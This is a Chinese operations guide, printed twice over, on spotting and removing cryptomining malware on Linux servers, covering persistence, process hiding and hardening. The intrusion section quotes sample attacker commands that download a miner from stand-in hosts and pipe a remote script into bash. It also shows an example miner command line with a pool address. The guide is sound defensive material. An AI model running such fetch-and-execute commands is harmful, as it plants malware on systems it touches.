1. 项目概述当服务器突然“变慢”如果你负责过线上服务器的运维大概率遇到过这种场景某个风和日丽的下午监控系统突然告警显示某台核心服务器的CPU使用率飙升到90%以上甚至持续100%。登录服务器一看top命令里排第一的进程要么是一个名字古怪、路径可疑的二进制文件要么就是某个常见系统进程如kworker、php-fpm占用了远超预期的资源。业务响应变得极其缓慢用户投诉接踵而至。你第一反应可能是“业务量激增”或者“代码出了死循环”但排查后却发现真正的罪魁祸首是一个不请自来的“矿工”——挖矿木马。这不是简单的资源竞争而是一场隐秘的资源劫持。攻击者通过各种漏洞如未修复的Web框架漏洞、弱口令的Redis或SSH入侵服务器植入挖矿程序悄无声息地利用你的CPU和电力为他人挖掘加密货币如门罗币XMR。你的服务器成了别人的“矿机”。本文将从一个资深运维的视角彻底拆解挖矿木马的入侵原理、隐匿手段并提供一套从紧急止血到根除后患的完整应急响应指南。这不是一篇理论文章而是融合了多次实战对抗的“排雷手册”你会看到具体的命令、排查思路和那些只有踩过坑才知道的细节。2. 挖矿木马的核心原理与入侵链条拆解要有效应对必须先理解对手。现代挖矿木马早已不是运行一个minerd进程那么简单它是一套包含入侵、植入、持久化、隐藏和通信的完整恶意软件体系。2.1 挖矿的本质一个计算密集型任务挖矿以常见的门罗币为例本质上是利用CPU或GPU进行大量的哈希计算Cryptonight算法以争夺记账权。这个过程极度消耗计算资源。木马植入后会启动一个或多个进程全力运行挖矿算法直接导致CPU核心被占满。注意并非所有CPU跑满都是挖矿。需要与业务高峰、代码BUG如死循环、中间件配置不当如Java GC问题进行区分。挖矿木马导致的CPU高占用通常表现为用户态%us或%sy时间极高且进程名或参数可疑。2.2 典型的入侵链条攻击者如何进来攻击者不会凭空变出木马。他们通常利用服务器暴露的弱点形成一条清晰的攻击链漏洞利用这是最主要的入口。常见的有Web应用漏洞如Confluence、Apache Struts2、ThinkPHP等框架的远程代码执行RCE漏洞未及时修补。服务弱口令Redis、MySQL、SSH、Tomcat管理后台等服务的密码设置过于简单如root/123456被暴力破解或撞库。供应链攻击使用了包含恶意代码的第三方软件包或镜像。初始访问与下载攻击者通过漏洞获得一个shell如/bin/bash或/bin/sh后第一件事就是下载挖矿木马本体。他们常使用curl、wget甚至python、perl等系统自带的工具从远程服务器通常是已被攻陷的网站或对象存储拉取恶意二进制文件。# 攻击者可能执行的命令示例 curl -s http://malicious-domain.com/xmr.tar.gz -o /tmp/xmr.tar.gz wget -q -O- http://another-bad-site.com/sh.sh | bash植入与执行下载的往往是一个压缩包或脚本。解压后里面通常包含挖矿主程序经过UPX等工具加壳混淆的二进制文件名字可能伪装成kthreadd、kinsing、libsystem等。配置脚本用于设置进程名、矿池地址、钱包地址等。清理与竞争脚本用于杀掉服务器上可能存在的其他挖矿木马黑吃黑并关闭安全软件如SELinux、云盾进程和竞争对手的矿进程。2.3 持久化与隐藏木马如何“赖着不走”这是挖矿木马最难缠的部分。简单的后台进程或nohup很容易被发现和终止。高级木马会采用多种手段确保自己存活定时任务Crontab最经典的手段。在/etc/crontab、/var/spool/cron/或/etc/cron.*/目录下植入恶意任务每分钟或每几分钟检查一次挖矿进程是否存在若不存在则重新下载执行。# 查看异常定时任务 crontab -l # 查看当前用户的 cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/系统服务Systemd/SysVinit将挖矿程序注册为一个系统服务并设置为开机自启。服务名可能伪装成systemd-network、nginx等。# 检查可疑服务 systemctl list-unit-files --typeservice | grep -E (enabled|disabled) ps aux | grep -E (\/usr\/lib\/systemd\/|\/etc\/init\.d\/) | grep -v grepLD_PRELOAD劫持通过修改/etc/ld.so.preload文件预加载一个恶意的动态链接库。这个库可以劫持kill、top、ps等命令的系统调用当管理员用这些命令查看或结束挖矿进程时返回伪造的干净的信息实现“隐身”。这是最难排查的一种。文件与进程隐藏进程名伪装将进程名修改为[kworker/u:0]、[kthreadd]等与内核线程相似。文件位置隐蔽将木马文件放在/tmp、/dev/shm内存文件系统、/var/tmp或隐藏目录如...三个点、.ssh等。文件属性锁定使用chattr i命令给木马文件加上不可修改属性防止被删除。需用chattr -i解锁后才能操作。2.4 网络通信钱往哪里去挖矿必须连接矿池。木马会连接一个或多个远程矿池服务器Pool提交算力并接收任务。通过分析网络连接可以发现线索。# 查看异常外连ESTABLISHED状态的连接尤其要注意 netstat -antp | grep -E ‘(ESTABLISHED|LISTEN)’ # 或使用ss命令 ss -antp常见的挖矿端口不固定但连接的目标IP通常是已知的矿池地址。你可以将可疑IP在威胁情报平台如微步在线、VirusTotal上进行查询。3. 应急响应实战从发现到根除当告警响起你需要的是一个有条不紊的“手术”流程而不是慌乱地重启机器。3.1 第一步紧急止血与初步诊断目标快速降低CPU负载恢复业务同时收集证据。隔离网络可选但重要如果业务允许在云控制台或防火墙上对可疑服务器设置出站流量限制特别是限制对未知矿池IP的访问。这能阻止木马继续“打工”但可能影响部分需要外连的业务。定位罪魁祸首top/htop按PCPU排序或M内存排序查看占用资源最高的进程。记下PID进程ID和命令。ps aux --sort-%cpu | head -20列出CPU占用前20的进程。关键点不要只看进程名要看完整的命令行COMMAND列。挖矿木马通常会在命令行中暴露矿池地址和钱包号。# 示例一个伪装进程的命令行可能包含如下信息 [kworker/u:0] -o pool.minexmr.com:4444 -u 49bk...钱包地址 -p x --cpu-max-threads-hint50采集样本在杀死进程前先保存证据。cat /proc/[PID]/exe /tmp/malware.bin导出进程的二进制文件。ls -la /proc/[PID]/cwd查看进程的工作目录。cat /proc/[PID]/cmdline查看进程的完整启动命令以\0分隔可用tr ‘\0’ ‘ ‘转换。3.2 第二步清除恶意进程与文件目标终止当前运行的恶意活动。终止进程kill -9 [PID] # 强制终止如果kill无效可能是遇到了LD_PRELOAD劫持。可以尝试使用/bin/kill的绝对路径或者使用busybox工具包里的kill。/bin/kill -9 [PID]查找并删除恶意文件根据上一步找到的进程路径删除对应的可执行文件。在全盘搜索相关的可疑文件根据进程名、钱包地址等关键词find / -type f -name “*kinsing*” 2/dev/null find / -type f -iname “*miner*” 2/dev/null grep -r “pool.minexmr.com” /etc /tmp /var /root 2/dev/null特别注意/tmp,/dev/shm,/var/tmp,/root/.ssh/,/etc/cron.d/等目录。删除前建议将文件备份到隔离位置如打包加密以供后续分析。如果文件无法删除Operation not permitted检查是否被加了i属性lsattr [文件名]然后用chattr -i [文件名]解锁后再删除。3.3 第三步清除持久化机制目标防止木马重启后死灰复燃。这是最关键也最易遗漏的一步。清理定时任务# 检查所有用户的crontab for user in $(cut -f1 -d: /etc/passwd); do echo “ $user ”; crontab -l -u $user 2/dev/null; done # 检查系统cron目录 cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/删除所有非你本人设置的可疑任务行或脚本文件。清理系统服务# Systemd 系统 systemctl list-unit-files --typeservice | grep enabled | grep -vE ‘(ssh|nginx|mysql|常规服务名)’ systemctl status [可疑服务名] # 查看服务详情和启动文件路径 systemctl disable [可疑服务名] systemctl stop [可疑服务名] rm -f /etc/systemd/system/[可疑服务名].service /usr/lib/systemd/system/[可疑服务名].service systemctl daemon-reload检查启动项cat /etc/rc.localls -la /etc/init.d/ls -la /etc/profile.d/(检查是否有恶意shell脚本)检查LD_PRELOAD劫持cat /etc/ld.so.preload如果此文件存在且内容包含你不认识的.so库路径如/usr/local/lib/libprocesshider.so请清空该文件内容echo “” /etc/ld.so.preload然后删除对应的恶意.so文件。3.4 第四步溯源与加固目标找到入侵根源堵上漏洞避免再次发生。检查入侵痕迹历史命令history查看攻击者执行了哪些命令。注意高手会清空history。日志分析last、lastb查看成功/失败的登录记录。grep “Failed password” /var/log/secure*查看SSH暴力破解记录。grep “Accepted password” /var/log/secure*查看成功登录记录比对IP和时间。Web日志如/var/log/nginx/access.log寻找可疑的URL访问、SQL注入、文件包含等攻击payload。文件时间戳ls -latu /tmp/查看最近访问/修改的文件。漏洞修复修改弱口令为所有系统账户、数据库、中间件设置高强度、唯一的密码。更新与打补丁立即更新操作系统、Web框架、应用依赖的所有安全补丁。收缩攻击面关闭不必要的端口和服务。修改SSH默认端口禁用root密码登录改用密钥认证。对Redis、MySQL等服务进行绑定IP、增加密码认证等安全配置。安装/更新安全防护主机安全Agent如云厂商提供的安骑士、云镜等或开源的Wazuh、OSSEC。文件完整性监控FIM监控/etc/crontab、/etc/passwd等关键文件的变更。入侵检测系统IDS如Suricata监控网络流量中的恶意行为。4. 高级排查技巧与疑难杂症处理在实际对抗中你会遇到更狡猾的变种。下面是一些进阶排查手段。4.1 当常规命令“说谎”时对抗进程隐藏如果你用top或ps看不到高CPU进程但CPU使用率就是居高不下很可能遇到了高级隐藏。使用不可信工具从一台干净的机器上传静态编译的busybox工具集。攻击者通常只劫持系统自带的命令。# 上传busybox到/tmp chmod x /tmp/busybox /tmp/busybox top /tmp/busybox ps aux查看/proc目录ps和top的信息也来自/proc。直接分析/proc往往更可靠。# 通过CPU使用时间排序找出可疑进程 for pid in $(ls -d /proc/[0-9]*); do if [ -f $pid/stat ]; then utime$(cat $pid/stat | awk ‘{print $14}’) name$(cat $pid/comm) echo “$pid $name $utime” fi done | sort -k3 -nr | head -10使用网络视角隐藏了进程但网络连接通常藏不住。ss -antp | grep ESTAB | grep -v “:22\|:80\|:443” | awk ‘{print $7}’ | cut -d“,” -f2 | sort | uniq # 这条命令找出所有ESTABLISHED连接对应的进程PID排除常见业务端口检查内核模块极少数高级rootkit会加载恶意内核模块。使用lsmod查看已加载模块与官方基线对比。4.2 挖矿木马的“黑吃黑”现象服务器上有时会存在多个挖矿木马它们互相竞争资源甚至互相杀死对方进程。这会导致你看到进程不断变化CPU占用者“轮流坐庄”。排查时要有耐心需要将上述清理步骤反复执行多次确保将所有家族的木马及其持久化项全部找出。4.3 容器环境下的挖矿如果挖矿进程运行在Docker容器内排查思路类似但范围限定在容器内。docker stats查看哪个容器CPU异常。docker exec -it [容器名] top进入容器内排查。清理容器内的恶意文件、定时任务。最重要的是追溯这个镜像是如何构建的是否来自不可信的仓库或者Docker Daemon的2375端口是否暴露在了公网这是重大安全隐患。5. 构建长效防御体系从应急到预防一次成功的应急响应是终点更是起点。真正的安全在于防患于未然。最小权限原则应用程序运行账户非root使用低权限用户。数据库、缓存等服务不使用默认端口和弱口令禁止公网直接访问。持续监控与告警建立完善的监控系统如PrometheusAlertmanager对服务器的CPU、内存、网络流量设置智能基线告警而非简单的阈值告警例如CPU在非业务时段持续高于70%。监控/etc/crontab、/etc/passwd等关键文件的变更。定期漏洞扫描与加固使用Nessus、OpenVAS等工具定期进行漏洞扫描。关注CNVD、CNNVD等漏洞库及时修复中高危漏洞。部署专项防护在服务器前端部署WAFWeb应用防火墙拦截常见的Web攻击。考虑使用专门针对挖矿行为的威胁检测工具它们可以通过行为模型如持续的高哈希运算、连接已知矿池进行识别和阻断。安全意识与流程禁止在服务器上使用弱口令推行密钥化认证。建立安全的软件供应链对使用的第三方镜像、组件进行安全审计。服务器安全是一场持久战。挖矿木马因其直接的经济利益驱动会不断进化其隐匿和传播技术。作为运维人员掌握一套系统性的应急响应方法并构建起纵深防御体系才能在这场攻防对抗中守住阵地。记住清理完成后那个被入侵的漏洞依然存在那才是真正需要被修复的“伤口”。
服务器CPU飙升？挖矿木马入侵原理与应急响应实战指南
发布时间：2026/7/31 14:41:09
1. 项目概述当服务器突然“变慢”如果你负责过线上服务器的运维大概率遇到过这种场景某个风和日丽的下午监控系统突然告警显示某台核心服务器的CPU使用率飙升到90%以上甚至持续100%。登录服务器一看top命令里排第一的进程要么是一个名字古怪、路径可疑的二进制文件要么就是某个常见系统进程如kworker、php-fpm占用了远超预期的资源。业务响应变得极其缓慢用户投诉接踵而至。你第一反应可能是“业务量激增”或者“代码出了死循环”但排查后却发现真正的罪魁祸首是一个不请自来的“矿工”——挖矿木马。这不是简单的资源竞争而是一场隐秘的资源劫持。攻击者通过各种漏洞如未修复的Web框架漏洞、弱口令的Redis或SSH入侵服务器植入挖矿程序悄无声息地利用你的CPU和电力为他人挖掘加密货币如门罗币XMR。你的服务器成了别人的“矿机”。本文将从一个资深运维的视角彻底拆解挖矿木马的入侵原理、隐匿手段并提供一套从紧急止血到根除后患的完整应急响应指南。这不是一篇理论文章而是融合了多次实战对抗的“排雷手册”你会看到具体的命令、排查思路和那些只有踩过坑才知道的细节。2. 挖矿木马的核心原理与入侵链条拆解要有效应对必须先理解对手。现代挖矿木马早已不是运行一个minerd进程那么简单它是一套包含入侵、植入、持久化、隐藏和通信的完整恶意软件体系。2.1 挖矿的本质一个计算密集型任务挖矿以常见的门罗币为例本质上是利用CPU或GPU进行大量的哈希计算Cryptonight算法以争夺记账权。这个过程极度消耗计算资源。木马植入后会启动一个或多个进程全力运行挖矿算法直接导致CPU核心被占满。注意并非所有CPU跑满都是挖矿。需要与业务高峰、代码BUG如死循环、中间件配置不当如Java GC问题进行区分。挖矿木马导致的CPU高占用通常表现为用户态%us或%sy时间极高且进程名或参数可疑。2.2 典型的入侵链条攻击者如何进来攻击者不会凭空变出木马。他们通常利用服务器暴露的弱点形成一条清晰的攻击链漏洞利用这是最主要的入口。常见的有Web应用漏洞如Confluence、Apache Struts2、ThinkPHP等框架的远程代码执行RCE漏洞未及时修补。服务弱口令Redis、MySQL、SSH、Tomcat管理后台等服务的密码设置过于简单如root/123456被暴力破解或撞库。供应链攻击使用了包含恶意代码的第三方软件包或镜像。初始访问与下载攻击者通过漏洞获得一个shell如/bin/bash或/bin/sh后第一件事就是下载挖矿木马本体。他们常使用curl、wget甚至python、perl等系统自带的工具从远程服务器通常是已被攻陷的网站或对象存储拉取恶意二进制文件。# 攻击者可能执行的命令示例 curl -s http://malicious-domain.com/xmr.tar.gz -o /tmp/xmr.tar.gz wget -q -O- http://another-bad-site.com/sh.sh | bash植入与执行下载的往往是一个压缩包或脚本。解压后里面通常包含挖矿主程序经过UPX等工具加壳混淆的二进制文件名字可能伪装成kthreadd、kinsing、libsystem等。配置脚本用于设置进程名、矿池地址、钱包地址等。清理与竞争脚本用于杀掉服务器上可能存在的其他挖矿木马黑吃黑并关闭安全软件如SELinux、云盾进程和竞争对手的矿进程。2.3 持久化与隐藏木马如何“赖着不走”这是挖矿木马最难缠的部分。简单的后台进程或nohup很容易被发现和终止。高级木马会采用多种手段确保自己存活定时任务Crontab最经典的手段。在/etc/crontab、/var/spool/cron/或/etc/cron.*/目录下植入恶意任务每分钟或每几分钟检查一次挖矿进程是否存在若不存在则重新下载执行。# 查看异常定时任务 crontab -l # 查看当前用户的 cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/系统服务Systemd/SysVinit将挖矿程序注册为一个系统服务并设置为开机自启。服务名可能伪装成systemd-network、nginx等。# 检查可疑服务 systemctl list-unit-files --typeservice | grep -E (enabled|disabled) ps aux | grep -E (\/usr\/lib\/systemd\/|\/etc\/init\.d\/) | grep -v grepLD_PRELOAD劫持通过修改/etc/ld.so.preload文件预加载一个恶意的动态链接库。这个库可以劫持kill、top、ps等命令的系统调用当管理员用这些命令查看或结束挖矿进程时返回伪造的干净的信息实现“隐身”。这是最难排查的一种。文件与进程隐藏进程名伪装将进程名修改为[kworker/u:0]、[kthreadd]等与内核线程相似。文件位置隐蔽将木马文件放在/tmp、/dev/shm内存文件系统、/var/tmp或隐藏目录如...三个点、.ssh等。文件属性锁定使用chattr i命令给木马文件加上不可修改属性防止被删除。需用chattr -i解锁后才能操作。2.4 网络通信钱往哪里去挖矿必须连接矿池。木马会连接一个或多个远程矿池服务器Pool提交算力并接收任务。通过分析网络连接可以发现线索。# 查看异常外连ESTABLISHED状态的连接尤其要注意 netstat -antp | grep -E ‘(ESTABLISHED|LISTEN)’ # 或使用ss命令 ss -antp常见的挖矿端口不固定但连接的目标IP通常是已知的矿池地址。你可以将可疑IP在威胁情报平台如微步在线、VirusTotal上进行查询。3. 应急响应实战从发现到根除当告警响起你需要的是一个有条不紊的“手术”流程而不是慌乱地重启机器。3.1 第一步紧急止血与初步诊断目标快速降低CPU负载恢复业务同时收集证据。隔离网络可选但重要如果业务允许在云控制台或防火墙上对可疑服务器设置出站流量限制特别是限制对未知矿池IP的访问。这能阻止木马继续“打工”但可能影响部分需要外连的业务。定位罪魁祸首top/htop按PCPU排序或M内存排序查看占用资源最高的进程。记下PID进程ID和命令。ps aux --sort-%cpu | head -20列出CPU占用前20的进程。关键点不要只看进程名要看完整的命令行COMMAND列。挖矿木马通常会在命令行中暴露矿池地址和钱包号。# 示例一个伪装进程的命令行可能包含如下信息 [kworker/u:0] -o pool.minexmr.com:4444 -u 49bk...钱包地址 -p x --cpu-max-threads-hint50采集样本在杀死进程前先保存证据。cat /proc/[PID]/exe /tmp/malware.bin导出进程的二进制文件。ls -la /proc/[PID]/cwd查看进程的工作目录。cat /proc/[PID]/cmdline查看进程的完整启动命令以\0分隔可用tr ‘\0’ ‘ ‘转换。3.2 第二步清除恶意进程与文件目标终止当前运行的恶意活动。终止进程kill -9 [PID] # 强制终止如果kill无效可能是遇到了LD_PRELOAD劫持。可以尝试使用/bin/kill的绝对路径或者使用busybox工具包里的kill。/bin/kill -9 [PID]查找并删除恶意文件根据上一步找到的进程路径删除对应的可执行文件。在全盘搜索相关的可疑文件根据进程名、钱包地址等关键词find / -type f -name “*kinsing*” 2/dev/null find / -type f -iname “*miner*” 2/dev/null grep -r “pool.minexmr.com” /etc /tmp /var /root 2/dev/null特别注意/tmp,/dev/shm,/var/tmp,/root/.ssh/,/etc/cron.d/等目录。删除前建议将文件备份到隔离位置如打包加密以供后续分析。如果文件无法删除Operation not permitted检查是否被加了i属性lsattr [文件名]然后用chattr -i [文件名]解锁后再删除。3.3 第三步清除持久化机制目标防止木马重启后死灰复燃。这是最关键也最易遗漏的一步。清理定时任务# 检查所有用户的crontab for user in $(cut -f1 -d: /etc/passwd); do echo “ $user ”; crontab -l -u $user 2/dev/null; done # 检查系统cron目录 cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/删除所有非你本人设置的可疑任务行或脚本文件。清理系统服务# Systemd 系统 systemctl list-unit-files --typeservice | grep enabled | grep -vE ‘(ssh|nginx|mysql|常规服务名)’ systemctl status [可疑服务名] # 查看服务详情和启动文件路径 systemctl disable [可疑服务名] systemctl stop [可疑服务名] rm -f /etc/systemd/system/[可疑服务名].service /usr/lib/systemd/system/[可疑服务名].service systemctl daemon-reload检查启动项cat /etc/rc.localls -la /etc/init.d/ls -la /etc/profile.d/(检查是否有恶意shell脚本)检查LD_PRELOAD劫持cat /etc/ld.so.preload如果此文件存在且内容包含你不认识的.so库路径如/usr/local/lib/libprocesshider.so请清空该文件内容echo “” /etc/ld.so.preload然后删除对应的恶意.so文件。3.4 第四步溯源与加固目标找到入侵根源堵上漏洞避免再次发生。检查入侵痕迹历史命令history查看攻击者执行了哪些命令。注意高手会清空history。日志分析last、lastb查看成功/失败的登录记录。grep “Failed password” /var/log/secure*查看SSH暴力破解记录。grep “Accepted password” /var/log/secure*查看成功登录记录比对IP和时间。Web日志如/var/log/nginx/access.log寻找可疑的URL访问、SQL注入、文件包含等攻击payload。文件时间戳ls -latu /tmp/查看最近访问/修改的文件。漏洞修复修改弱口令为所有系统账户、数据库、中间件设置高强度、唯一的密码。更新与打补丁立即更新操作系统、Web框架、应用依赖的所有安全补丁。收缩攻击面关闭不必要的端口和服务。修改SSH默认端口禁用root密码登录改用密钥认证。对Redis、MySQL等服务进行绑定IP、增加密码认证等安全配置。安装/更新安全防护主机安全Agent如云厂商提供的安骑士、云镜等或开源的Wazuh、OSSEC。文件完整性监控FIM监控/etc/crontab、/etc/passwd等关键文件的变更。入侵检测系统IDS如Suricata监控网络流量中的恶意行为。4. 高级排查技巧与疑难杂症处理在实际对抗中你会遇到更狡猾的变种。下面是一些进阶排查手段。4.1 当常规命令“说谎”时对抗进程隐藏如果你用top或ps看不到高CPU进程但CPU使用率就是居高不下很可能遇到了高级隐藏。使用不可信工具从一台干净的机器上传静态编译的busybox工具集。攻击者通常只劫持系统自带的命令。# 上传busybox到/tmp chmod x /tmp/busybox /tmp/busybox top /tmp/busybox ps aux查看/proc目录ps和top的信息也来自/proc。直接分析/proc往往更可靠。# 通过CPU使用时间排序找出可疑进程 for pid in $(ls -d /proc/[0-9]*); do if [ -f $pid/stat ]; then utime$(cat $pid/stat | awk ‘{print $14}’) name$(cat $pid/comm) echo “$pid $name $utime” fi done | sort -k3 -nr | head -10使用网络视角隐藏了进程但网络连接通常藏不住。ss -antp | grep ESTAB | grep -v “:22\|:80\|:443” | awk ‘{print $7}’ | cut -d“,” -f2 | sort | uniq # 这条命令找出所有ESTABLISHED连接对应的进程PID排除常见业务端口检查内核模块极少数高级rootkit会加载恶意内核模块。使用lsmod查看已加载模块与官方基线对比。4.2 挖矿木马的“黑吃黑”现象服务器上有时会存在多个挖矿木马它们互相竞争资源甚至互相杀死对方进程。这会导致你看到进程不断变化CPU占用者“轮流坐庄”。排查时要有耐心需要将上述清理步骤反复执行多次确保将所有家族的木马及其持久化项全部找出。4.3 容器环境下的挖矿如果挖矿进程运行在Docker容器内排查思路类似但范围限定在容器内。docker stats查看哪个容器CPU异常。docker exec -it [容器名] top进入容器内排查。清理容器内的恶意文件、定时任务。最重要的是追溯这个镜像是如何构建的是否来自不可信的仓库或者Docker Daemon的2375端口是否暴露在了公网这是重大安全隐患。5. 构建长效防御体系从应急到预防一次成功的应急响应是终点更是起点。真正的安全在于防患于未然。最小权限原则应用程序运行账户非root使用低权限用户。数据库、缓存等服务不使用默认端口和弱口令禁止公网直接访问。持续监控与告警建立完善的监控系统如PrometheusAlertmanager对服务器的CPU、内存、网络流量设置智能基线告警而非简单的阈值告警例如CPU在非业务时段持续高于70%。监控/etc/crontab、/etc/passwd等关键文件的变更。定期漏洞扫描与加固使用Nessus、OpenVAS等工具定期进行漏洞扫描。关注CNVD、CNNVD等漏洞库及时修复中高危漏洞。部署专项防护在服务器前端部署WAFWeb应用防火墙拦截常见的Web攻击。考虑使用专门针对挖矿行为的威胁检测工具它们可以通过行为模型如持续的高哈希运算、连接已知矿池进行识别和阻断。安全意识与流程禁止在服务器上使用弱口令推行密钥化认证。建立安全的软件供应链对使用的第三方镜像、组件进行安全审计。服务器安全是一场持久战。挖矿木马因其直接的经济利益驱动会不断进化其隐匿和传播技术。作为运维人员掌握一套系统性的应急响应方法并构建起纵深防御体系才能在这场攻防对抗中守住阵地。记住清理完成后那个被入侵的漏洞依然存在那才是真正需要被修复的“伤口”。
![PasteEx：5分钟掌握剪贴板转文件的神器，工作效率翻倍提升！[特殊字符]](http://pic.xiahunao.cn/yaotu/PasteEx：5分钟掌握剪贴板转文件的神器，工作效率翻倍提升！[特殊字符])
